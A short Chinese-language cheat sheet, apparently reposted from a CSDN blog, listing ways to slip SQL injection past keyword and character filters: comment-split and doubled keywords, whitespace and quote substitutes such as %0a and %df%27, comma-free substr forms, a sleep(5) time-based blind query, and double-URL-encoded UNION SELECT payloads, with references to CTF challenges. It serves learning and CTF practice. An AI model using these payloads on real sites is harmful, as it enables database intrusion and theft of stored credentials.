标签:252f% 空格 substr SQL 绕过 id select 注入
SQL注入中的绕过
一.对于关键字的绕过
- 注释符绕过:
uni/**/on se/**/lect
- 大小写绕过:
UniOn SeleCt
- 双关键字绕过:
ununionion seselectlect
- <>绕过:
unio<>n sel<>ect
(可能是有些网站为了防止xss注入,所以过滤了<>,参照i春秋sql) - 对于and,or的绕过其实还可以尝试一下&&,||,异或注入
这里需要注意一点就是or被过滤的时候order,information中的or也被过滤了
二.对特殊字符的绕过
-
对空格的绕过:
两个空格代替一个,用tab键代替空格
/**/ %20 %09 %0a
利用空格绕过:很多关键字都可以写成带括号的形式select(),or() 特殊函数中的空格绕过:ascii(mid(xxfrom(1))) ascii(substr(xxfrom(1))) -
对单引号的绕过:
宽字节 %bf%27 %df%27 %aa%27(争对字符集为GBK时使用
十六进制绕过(针对需要输入表名的时候 'user'=>0x7573657273)
-
对逗号的绕过:
substr(x,1,1),mid(x,1,1)=>substr(x from 1 for 1) mid(x from 1 for 1) limit 0,1=> limit 0 offset 1 join(本身是用来连接两个表单的,所以join一定是要放在from后面放表单的位置): union select 1,2 => union select * from (select 1)a join (select 2)b select case when (条件) then (代码1) else (代码2) end 可以对应上if(条件,代码1,代码2) if(substring((select user()) from 1 for 1)='e',sleep(5),1) 可以变为 select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
-
等号的绕过:
利用<>(即不等于号)绕过 利用like绕过 利用greatest()绕过(greatest(a,b)返回较大的那个数) ?id=' or 1 like 1 ?id=' or 1 <> 1 ?id=' union select greatest(substr((select user()),1,1),95)
三.其他类型的绕过
- 编码绕过:
- 双重url编码:?id=1%252f%252aUNION%252f%252aSELECT%252f%252a1,2,password%252f%252aFROM%252f%252a/Users--+
- unicode编码:'=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
-
相同字符的绕过:
题目中有是可能会出现一种情况:它不允许出现某个字符串,但是在数据库中又确实存在这个字符串,再加之mysql与php的编码字符集不相同,便可以利用相似的字符将其绕过
可以参考的题目百度杯十月场look
标签:252f%,空格,substr,SQL,绕过,id,select,注入 来源: https://blog.csdn.net/hahazaizheli/article/details/95985477
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。